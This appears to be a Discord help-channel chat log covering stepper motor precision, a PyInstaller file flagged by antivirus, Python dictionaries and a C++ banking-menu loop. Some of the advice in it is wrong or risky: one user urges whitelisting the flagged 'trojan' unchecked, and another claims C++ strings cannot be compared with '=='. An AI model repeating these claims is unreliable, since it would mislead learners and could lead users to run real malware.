Now, this makes sense, but is there a simpler way to shift the rest of items in the array or is manual looping the only option?

i,e File loads 15 records total to array. name "Lovecraft 50" at [0], loads other arbitrary records, name "Lovecraft 80" at [8], finished loading filling to [14]. Add the value of [8] to [0], delete the remaining information inside of [8]. [0] is now correct, [8] is now empty(NULL?) and >[8] now need to be shifted down one element to not have gaps in the array.

#

and is it fine to leave [14] empty?

crisp elbow
#

but [ "$choice" == "1" ] works because spaces are required

solar echo
#

@dim slate are you using file streams or file descriptors?

haughty oracle
#

(i don't find channel for this but is for a code so)hello i have a hard time to understand stepper motor, so my motor do 4096 steps for 360° so can my motor do precisely 1° ?
because i find that 11.377777..8 step = 1° but that is not realy 1° because i can't do 11,3... i can only do 11 or 12

magic falcon
#

Steps are discrete, not continuous. You cannot do partial steps.

solar echo
haughty oracle
#

yes

#

but how can i do 1° ?

solar echo
#

I’m in school right now on my phone

magic falcon
haughty oracle
#

ok

#

but i don't understand that my motor can have 4096 available position on 360° but he can't do a 1° move

#

i just want the motor to move 1° xD

magic falcon
#

I just explained that.

haughty oracle
#

ok

#

but what is the solution ? i just can't ?

magic falcon
#

The stepper itself cannot get precisely 1 degree of change. If you need that precision, your options are get a stepper that matches your use-case or else engineer up some kind of gearing system to convert some number of steps to 1 degree

haughty oracle
#

ok

magic falcon
#

How critical is this 1 degree?

#

and why do you need angular distance and not linear distance?

haughty oracle
#

i don't really know i am trying to do the motor code of my Auto turret system
its a project whit tensorflow and object recognition
and i just want tooo like know were my motor are and tell them were to go

#

like i want my motor to go to 45 ° and he do the job owo

magic falcon
#

There are micro and half stepping patterns you can use with a stepper; but they can damage the motor if you use an incorrect pattern. Unless you know it won't hurt your stepper (ie, the datasheet tells you what the micro and half step patterns are) don't use them.

haughty oracle
#

ok

magic falcon
#

So you are building a turret to shoot at things? t

#

This is sounding unethical.

haughty oracle
#

no

#

its like a intelligent security system

#

its like a camera whit personal assistant and his job is to help me and wen i am not home to monitore the home and he needs to turn this camera/head

#

i call him turret but he as no gun x) just tons of sensor camera ect

#

so i am searching a solution to know were the "turret" motor are and tell the motor were to go precisely in 360° angle even if it's not in degree but a kind of degree

#

but i think i will just reaplace the 360 degre 4096 step i think it will do the job

#

thank you Juun ! ^^

mortal flint
#

Just my $0.02, but you should make it look and sound like the portal turret.

#

And in your case, it doesn't sound like you need to be able to position it to a specific degree- use those 4096 steps, which are more precise than a degree.

dim slate
#

^ this. (Portal turret)

brazen eagle
#

I'd be careful at the 360 <-> 0 degree boundary though

#

might be better to limit to a 180 degree range

#

or some divisor of 4096 if you want to get degree precision

ancient flax
#

Hey! I downloaded the pyinstaller package and one of its files 'run.exe' is detected as a virus. Is it the same for you'll?

languid sail
#

I am working on some python scripts. one of them is vpnconnect. What I expect is, when I run this, it should automatically connect to the thm VPN and print the IP. But, when I run it, it connects and doesn't go forward because the vpn doesn't stop. I am using os.system for this

ancient flax
#

Pip

languid sail
#

Command?

ancient flax
#

pip install pyinstaller

languid sail
#

Then?

#

What happened

#

Trying re downlaoding jt

ancient flax
#

Nothing....I scan my entire computer once a month and it found it

languid sail
#

I see

ancient flax
#

It detects it as a trojan

#

Well I've sent it to my av's research team

languid sail
#

That's normal. Once I wrote a batch script for folder locker and it was detected to run malicious commands. Lol

ancient flax
#

Lol

languid sail
#

Does your program run os commands?

ancient flax
#

Wdym...pyinstaller is a python module

#

It's used to convert py to exe

languid sail
#

I know

#

I asked is your program detected as trojan?

ancient flax
#

No

languid sail
#

Hmm

ancient flax
#

Well it was just a test program

languid sail
#

What's the path to run.exe?

ancient flax
#

Gimme 2

languid sail
languid sail
ancient flax
languid sail
#

I see

ancient flax
#

C:\Users*User*\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.8_qbz5n2kfra8p0\LocalCache\local-packages\Python38\site-packages\PyInstaller\bootloader\Windows-32bit\run.exe

magic falcon
languid sail
#

Don't worry

brazen eagle
#

fair enough, I'd track my boss instead ^_^

languid sail
#

Just allow it

ancient flax
#

Idk it never ran...

#

My av just found

languid sail
#

Now go to the settings and allow that trojan

#

Or just re-download

ancient flax
#

I deleted it...

languid sail
#

Why?

ancient flax
#

Idk

languid sail
#

Re-download

ancient flax
#

Nah..let it be..I never even use pyinstaller that often

languid sail
#

No problem :)

ancient flax
#

*pyinstaller not python lol

languid sail
#

Its not very useful I know

ancient flax
#

Yep I created an ssh client kinda utility which needs paramiko and it won't compile..

surreal bronze
languid sail
#

Ooo.. I see

surreal bronze
#

Google's got you covered

languid sail
#

@surreal bronze, I also shared it

#

It's not his program

ancient flax
#

Needed to 📈📈 the python on my GitHub lol

languid sail
#

Pyinstaller itself is the trojan

surreal bronze
#

Yeah, I'm pretty sure it's normal for Windows to detect PyInstaller as a trojan

languid sail
#

Yes

magic falcon
ancient flax
#

uhh no...it didnt

#

one of pyinstaller's files did

#

paramiko works perfectly

#

here r the pyinstaller files if u'll wanna scan em

onyx merlin
#

Pyinstaller is detected, yeah.

humble venture
#

@magic falcon Are you about? Can I DM?

magic falcon
#

Yeah, I'm here. Feel free to DM @humble venture

humble venture
#

I wish I was an MD... 😄

magic falcon
#

yeah, dyslexia is hard sometimes 😛

humble venture
#

Hehe, We cool

surreal bronze
#

@magic falcon Whooo, congrats 🥳

#

Oops

#

Wrong tag, sorry esqy haha

vernal vigil
#

Congrats @magic falcon o/

magic falcon
#

Haha, Thanks

humble venture
#

Jayy, I will remove all your y's for a ghost-ping...

surreal bronze
#

I would rather be given CEH then have my y's been taken away from me

humble venture
tulip sail
#

@surreal bronze how about both?

surreal bronze
#

oh god

tulip sail
#

I did what you asked me to

#

I gave you CEH then took your y's away from you

surreal bronze
#

you evil person

tulip sail
#

You asked for it

surreal bronze
#

rather is a choice!

tulip sail
#

I would rather be given CEH then...

#

I did exactly what you said to do

#

Gave you CEH then took your y's 🤷‍♂️

#

Good grammar is important y'all

surreal bronze
#

you've made me into a laughing stock

#

idk whats worse

#

the y's

#

or the CEH

tulip sail
vernal vigil
#

jayy you look good without the yyyyyyyy

vernal vigil
#

and your name is easy.. its just Ja

surreal bronze
lilac holly
#

Hi everyone, I started to develop a liking for malware analysis, I have some python experience and currently working my way thoughy the book "Black hat python programming by Justin Seitz(2nd edition") . Any other suggestions as to what languages I should consider learning? And please dont say C😩 😩

magic falcon
#

What you need to hear and what you want to hear are two different things.....

rain marsh
#

hey, I started a quick project for practice and the code is basically rotating proxies from csv i built. but the proxies cant access HTTPS websites. how can i find proxies that support HTTPS protocol? please tag me in your reply, thx.

mortal flint
rigid mirage
#

its giving me syntax error on this and idk why

onyx merlin
#
  1. if you're getting a syntax error it will tell you where.
  2. Not really appropriate to be making jokes about that here.
tulip sail
#

Or ever

#

It's extremely manipulative, borderline abusive

rigid mirage
#

its just a thing i was making as a joke but the syntax error part wasnt a joke

tulip sail
#

Where is it telling you the syntax error is?

#

(I'll give you a hint -- that else looks awfully exposed)

#

Having said which, that should just be bad form, thinking about it

#

It compiles fine for me 🤷‍♂️

rigid mirage
#

ok ty

mortal flint
#

Yeah, that else is kinda the same thing that caused the goto fail bug. Single-line control structures do not require { } braces in C, but you should always put them anyways.

magic falcon
#

Some compilers require argc, argv for main. The else shouldn't be a problem, as that output is just a single statement.

tulip sail
#

Aye -- just me being an idiot and forgetting that good form doesn't necessarily equal necessary 🙂

mortal flint
#

But then I guess if everyone wrote good code, I wouldn't have the job I do, so 🤷‍♂️

magic falcon
mortal flint
#

same for me. I was a super strict grader on things. They hated it. but then thanked me later when they aced interviews and got good jobs.

magic falcon
#

None of them realized I was saving them many hours of debugging seg faults

mortal flint
#

If your students don't hate you, you're probably not doing your job well

magic falcon
#

Can confirm.

tulip sail
#

Hehe, I count myself lucky that dirty code drives me nuts

brazen eagle
magic falcon
dusty ore
#

Hey guys

#

I need some help with js

#

Why is my output undefined

magic falcon
#

% has a very specific meaning in programming. It does not mean 'percent'. Your next step is to figure out what all the arithmetic operators are, and how they work.

dusty ore
#

oh i see

#

Thanks

dusty ore
#

May I ask what this is in python?

onyx merlin
#

A dictionary

dusty ore
#

oh

#

So can I "scan" it?

#

Like comparing a char in that dictionary

#

Sorry for my bad english, dunno how to describe it

onyx merlin
#

It's a key to value lookup basically

#

The key is the single letter there

dusty ore
#

Oh okay, thanks. Imma do a research about dictionary in python

#

May I ask why I get this error?

vernal vigil
#

uh what is 'Alphanum_to_nato' function doing?

dusty ore
#

alphanum_to_nato is a dictionary

dusty ore
vernal vigil
#

and newstr[i] is your key pairs?

#

and if your accessing through key pair

#

it should be like, dictname['key']

dusty ore
#

May I ask what key pair is 🤔

onyx merlin
dusty ore
#

I did alphanum_to_nato['4'] and it worked fine

onyx merlin
#

It's just the key

onyx merlin
vernal vigil
#

i meant if youre accessing the values from a dict you have to use keys

dusty ore
#

still

#

I see imma look for it

surreal bronze
#

Is that your code?

#

Its better to write and understand it instead of grabbing some random one of the internet and not knowing what your doing

dusty ore
#

it is my code

#

I wrote it my own so it looks a little bit messy

#

:p

surreal bronze
#

Mkay

dusty ore
#

I mean this is from an experiment question from exercism

#

I copied and pasted the template incl dictionary + empty function to sublime and write my own codes

surreal bronze
#

I'd start with something simpler, like learning how to use and acccess dictionaries before using them in the question

dusty ore
#

I mean, I was about to learn basic thingys but exercism asked me if i'd like to join in a test

#

So yea...

#

It worked

#

basically, it's because i forgot the parenthesis

#

._.

vernal vigil
dusty ore
#

I need some help

#

I failed empty string test case but I did write an if statement checking whether str=='' return if true else: continue

#

But it still fails

magic falcon
#

Reread the error. What you are saying and what the screenshot is saying are different things.

dusty ore
#

I see, but if the string is empty, then that code shouldn't be executed

#

Therefore, error won't happen

magic falcon
#

That's not how syntax checking works. Your code isn't being executed, because it's failing a linting step that comes before execution.

dusty ore
#

uhh...but my codes work fine on my pc

#

So how should i make it work 🤔

hidden prawn
#

Im wondering why would you check if a datatype is empty. Don't you have to use the variable instead or am i missing something?

magic falcon
vernal vigil
#

am I the only one who cannot see the code..

#

i'll have to download the image

#

smh

dusty ore
#

fixed the function cuz the function provided by exercism seems to be kinda weird

#

Now it works (Exactly like in my pc)

#

Yay

#

Thanks guys! I wouldn't be able to complete this "very easy for everyone else than me" problem without you

vernal vigil
#

John take it slow

#

cover your basics before going to next topic

magic falcon
#

Agree with Potato. It's more important to understand everything you are working with than to get green tests.

mystic nimbus
#

depends on what stage he is at, as it says it can be submitted for further scrutiny

dusty ore
#

I can say I take this problem as a test to see if my python skill is good enough

placid barn
#

Hi

dusty ore
unkempt nacelle
#

I have an idea and i want to make it a program.
I want that if i assign a work for some time after that time that thing automatically saves and closes and reminder of another work pops up in my pc.
can a python program be build for this??

brazen eagle
#

Like a Pomodoro timer?

unkempt nacelle
#

yup

surreal bronze
#

Yes it can

#

Break it down into steps

warped axle
#

shit programmer, needs a bit of help

main.cpp

#include <iostream>
#include <string>
#include "menu.h"
#include "operations.h"

using namespace std;

int main() {
    Menu menu;
    Operations op;

    menu.display();

    int input = menu.getInput();
    int *iPtr = &input;

    while(*iPtr != 0) {
        menu.display();
        *iPtr = input;
        switch(*iPtr) {
            case 1:
                op.deposit();
                break;
        }
    }
}

operations.cpp

#include <iostream>
#include <string>
#include "operations.h"

using namespace std;

Operations::Operations() {}

void Operations::deposit() {
    float amount;
    string conf;

    float *aPtr = &amount;
    string *cPtr = &conf;

    while(*cPtr != "y") {
        cout << "Enter amount to deposit - ";
        cin >> *aPtr;

        cout << "Confirm [y/n] - ";
        cin >> *cPtr;

        if(*cPtr == "y") {
            cout << "Deposit Successful!" << endl;
            return;
        } else if(*cPtr == "n") {
            return;
        } else {
            cout << "Invalid options" << endl;
            return;
        }
    }
    return;
}

This works fine until the while loop in operations.cpp, for some reason it does not exit the while loop nor the function, both return and break does not work

#

C++ 11 is what im using i belive

#

Also am i using the pointers correctly/efficiently?

lilac holly
#

You put a return into a void method, does this even work?

#

And I mean every return there

#

Also the one if Statement with *cPtr == “y” doesn’t make this much sense I think, because this is your break condition

#

Maybe change this

brazen eagle
#

Return in a void function is fine

#

It'll get out of the function instead of breaking the loop though

#

The problem is that you can't compare strings in C++ with ==

#

If you're using c strings, then use strncmp, for c++ strings use compare() on the string itself

lilac holly
brazen eagle
#

Even in other languages it's used to return early

#

It's considered poor style though

warped axle
#

ahhh ok thanks

#

i was having a mental breakdown because of this

solar hull
#

Oh, that’d work for c++ strings, but the constants are c strings?

brazen eagle
#

C++ strings should be able to compare against string constants

#

don't remember if you can overload == in C++

dusty ore
#

may i ask what's wrong in my js code?